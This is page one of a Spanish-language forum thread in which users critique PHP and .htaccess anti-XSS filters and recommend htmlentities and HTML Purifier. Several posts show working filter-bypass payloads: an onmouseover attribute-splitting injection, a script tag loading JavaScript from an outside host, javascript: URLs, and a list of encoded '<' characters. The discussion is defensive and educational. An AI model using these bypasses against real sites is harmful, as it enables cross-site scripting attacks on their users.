Páginas: [1] 2 3
|
 |
|
Autor
|
Tema: Código PHP AntiXSS (Leído 2213 veces)
|
19.5
Desconectado
Mensajes: 65
|
Buenas... Yo creía que los ataques XSS eran bastante simples y sin mayor provecho que sacar, pero leyendo me di cuenta que estaba muy equivocado. A partir del siguiente hilo: http://foro.elhacker.net/index.php/topic,164268.0.html me surgio una idea. Esa función es efectiva pero que pasa si a alguien se le ocurren encriptar los carácteres? Por ejemplo "<" ponerlo como %3c ya no funcionaría. Por eso pense en una función que pudiese evitar la mayor cantidad de posibles ataques XSS, es decir, los mismo carácteres pero encriptados. Una aclaración: El código siguiente es libre de ser mejorado. Además, se hizo pensando en que cualquiera lo pudiese entender, siendo muy básico para que a uds. se les ocurran ideas. Claramente usando funciones de PHP5 quedaría reducido... $chr = "<>,;:'.\"\\&%()#¼¾¢"; $xss = "scripting";
for ($i=0; $i<strlen($xss); $i++) { for ($h=0; $h<strlen($chr); $h++) { if (substr($xss, $i, 1) == substr($chr, $h, 1)) { echo "Posible XSS"; exit; } } }
Uso: Cambiar la variable $xss por algo como "prob<ando" y verán el mensaje. Sería útil a la hora de evaluar un query en un buscador por ejemplo, pero si se quiere analisar un campo referido a noticias lógicamente tendría sus inconveniencias. A ver quien es capáz de vulnerarlo...  PD1: Me gustaría leer la crítica sobre el codigo de SirdarckcatPD2: No puse el código en las etiquetas "php" porque me transformaba algunos carácteres de la variable $chr. Ref.: - http://foro.elhacker.net/index.php/topic,98324.0.html- http://ha.ckers.org/xss.html
|
|
|
|
|
En línea
|
|
|
|
Crack_X
Anti-War
Colaborador
Desconectado
Mensajes: 2.324
Peace & Love
|
Lo que estas haciendo es verificando si uno de los caracteres en $chr esta en el string? Porque no mejor comparar con una expresion regular que no accepte esos ? Correr dos loops no es muy bonito y en especial si el mensaje son varios parrafos.
|
|
|
|
|
En línea
|
|
|
|
|
sirdarckcat
|
si, ademas es un poco lento.. Una buena opción para DETECTAR ataques de XSS, sería php-ids (php-ids.org).. Una para permitir HTML, sin tener peligro de XSS, pueden usar html-purifier (htmlpurifier.org).. Aun asi, para algo rapido, puedes hacer una expresion regular como bien dice crack_x  Saludos!!
|
|
|
|
|
En línea
|
|
|
|
yeikos
Colaborador
Desconectado
Mensajes: 1.363
|
Mira que os complicáis la vida creando funciones que lo único que hacen es que el proceso de carga sea más lento, o por lo menos esa es mi opinión personal... ¿Alguien me puede decir por qué no se utiliza en estos casos la función htmlentities()? htmlentities($_GET['var'], ENT_QUOTES) Si lo que quieren es evitar RFI, no dejen en manos de una variable el fichero a incluir, utilicen switch para inclusiones dinámicas... Y quizás lo más importante, no cojan malos hábitos de programación escribiendo los atributos de los campos sin comillas dobles/simples.
|
|
|
|
|
En línea
|
|
|
|
|
sirdarckcat
|
htmlentities es LA funcion de XSS jaja, pero no siempre es muy buena, porque rompe cosas que aveces no deben romperse.. (por ejemplo si vas a hacer algo mas con ese input, debes descodificarlo antes de usarse).. por eso, la mejor opción orientada a casos particulares, es hacer tu propia expresión regular, siembargo, si no tienes idea de como parchear, y solo quieres estar seguro que no te van a atacar con XSS, usa htmlentities, el doctor lo recomienda xD
|
|
|
|
|
En línea
|
|
|
|
|
born2kill
|
jajja, esta muy bien el codigo....no te parece mejor un .htaccess  .... Lo que se te va a hacer un mundo cargando la web  Si alguien logra vulneral esto .htaccessOptions +FollowSymLinks RewriteEngine On RewriteCond %{QUERY_STRING} (\"|%22).*(\>|%3E|<|%3C).* [NC] RewriteRule ^(.*)$ index.php [NC] RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC] RewriteRule ^(.*)$ index.php [NC] RewriteCond %{QUERY_STRING} (javascript:).*(\;).* [NC] RewriteRule ^(.*)$ index.php [NC] RewriteCond %{QUERY_STRING} RewriteRule ^(.*)$ index.php [NC] RewriteRule (,|;|<|>|'|`) /index.php [NC]
|
|
|
|
« Última modificación: 30 Julio 2007, 08:24 por born2kill »
|
En línea
|
|
|
|
yeikos
Colaborador
Desconectado
Mensajes: 1.363
|
En fin, una vez más intentáis poner soluciones a vuestros errores, ¿habéis probado a no cometerlos? Yo personalmente tan solo muestro la variable filtrada cuando tengo que imprimirla en la página web, anteriormente uso expresiones regulares para comprobar que la cadena usa caracteres permitidos...
born2kill, cambia tu forma de pensar a no tengo que cometer esos fallos...
|
|
|
|
|
En línea
|
|
|
|
|
sirdarckcat
|
born2kill: (\"|%22).*(\>|%3E|<|%3C).* supongo que es para prevenir attribute splitting, como en: <?php echo "<a href=\"{$_GET['entrada']}\">Link</a>"; ?> se puede saltar simplemente no cerrando el atributo ?a=" onmouseover="alert(/xss/.source)"
(\<|%3C).*script.*(\>|%3E) se salta, igual no cerrando <script.. asi: <script src=//sirdarckcat.net/cache_poisoning.js x
(javascript:).*(\;).* no pones el ; al final.. javascript:alert("pwned")
(,|;|<|>|'|`) la coma la puedes no usar llamando funciones desde funcion.apply, los ; puedes no usarlos, los "<" y ">" si los quitas, entonces para que son las primeras 2 reglas? XD, y las comillas, para ataques de XSS no son necesarias, puedes usar /texto/.source Saludos!!
|
|
|
|
|
En línea
|
|
|
|
|
|
19.5
Desconectado
Mensajes: 65
|
Pronto iva a publicar (desde el e-book Cross Site Scripting Attacks XSS Exploits and Defense 2007) esa función para que también la comentaran porque justamente ocupa expresiones regulares y ademas trata de tapar la mayoría de los hoyos. Aunque yo creo que sí es posible vulnerarla. Tómense un poco de tiempo y analisen la siguiente lista. Formas de codificar el caracter "<":
< %3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C
|
|
|
|
« Última modificación: 31 Julio 2007, 03:20 por 19.5 »
|
En línea
|
|
|
|
|
born2kill
|
born2kill, cambia tu forma de pensar a no tengo que cometer esos fallos...
Haber, estamos analizando, como parar ataques XSS, o prevenirnos de ellos, esta claro que no se deben cometer esos fallos, pero estar prevenidos no viene mal. Mi forma de pensar?... born2kill: (\"|%22).*(\>|%3E|<|%3C).* supongo que es para prevenir attribute splitting, como en: <?php echo "<a href=\"{$_GET['entrada']}\">Link</a>"; ?> se puede saltar simplemente no cerrando el atributo ?a=" onmouseover="alert(/xss/.source)"
(\<|%3C).*script.*(\>|%3E) se salta, igual no cerrando <script.. asi: <script src=//sirdarckcat.net/cache_poisoning.js x
(javascript:).*(\;).* no pones el ; al final.. javascript:alert("pwned")
(,|;|<|>|'|`) la coma la puedes no usar llamando funciones desde funcion.apply, los ; puedes no usarlos, los "<" y ">" si los quitas, entonces para que son las primeras 2 reglas? XD, y las comillas, para ataques de XSS no son necesarias, puedes usar /texto/.source Saludos!! Mhh.... Me dejaste pensando, bueno evidentemente solamente podriamos para ataques básico, tengo que encontrar alguna forma de mejorarlo.
La lista que publicaste esta bien interesante.
|
|
|
|
|
En línea
|
|
|
|
|
sirdarckcat
|
19.5: si sabes en que contextos se pueden usar los valores "codificados" de <? solo cuando de lado del servidor se decodifica el caracter, esos "alias" son validos.. en un vector "normal", no se pueden usar. El filtro de quickwired esta bastante bien, detiene muchos vectores.. habria que analizarlo con tiempo, para ver si se le escapo algo  Saludos!!
|
|
|
|
|
En línea
|
|
|
|
<?BRoWLi?>
Desconectado
Mensajes: 108
Kien mira por ti?
|
Encriptando los tags <> => <>, se solventa el problema 
|
|
|
|
|
En línea
|
Si TRaTaS D SeR JusTo SoLo Es JuSTo EL CoRaZóN, LoS DeMaS OrGaNoS TRaTaRaN De KiTaRLe La RaZoN - DobleV Piratas.com.es
|
|
|
|
sirdarckcat
|
no siempre xD, los attribute breaking, no usan los tags < y >  Saludos!!
|
|
|
|
|
En línea
|
|
|
|
<?BRoWLi?>
Desconectado
Mensajes: 108
Kien mira por ti?
|
Por el nombre será romper un atributo para meter otro, por ejemplo " onclick="javascript..., si es así bueno yo contaba con que ya se escapan las comillas simples y dobles, yo tengo el gpc ON y lo doy por echo siempre xD, si ese termino no tiene nada que ver con eso, me vendría de lujo una aclaración gracias!!  Un saludo!!
|
|
|
|
|
En línea
|
Si TRaTaS D SeR JusTo SoLo Es JuSTo EL CoRaZóN, LoS DeMaS OrGaNoS TRaTaRaN De KiTaRLe La RaZoN - DobleV Piratas.com.es
|
|
|
|
Páginas: [1] 2 3
|
|
|
|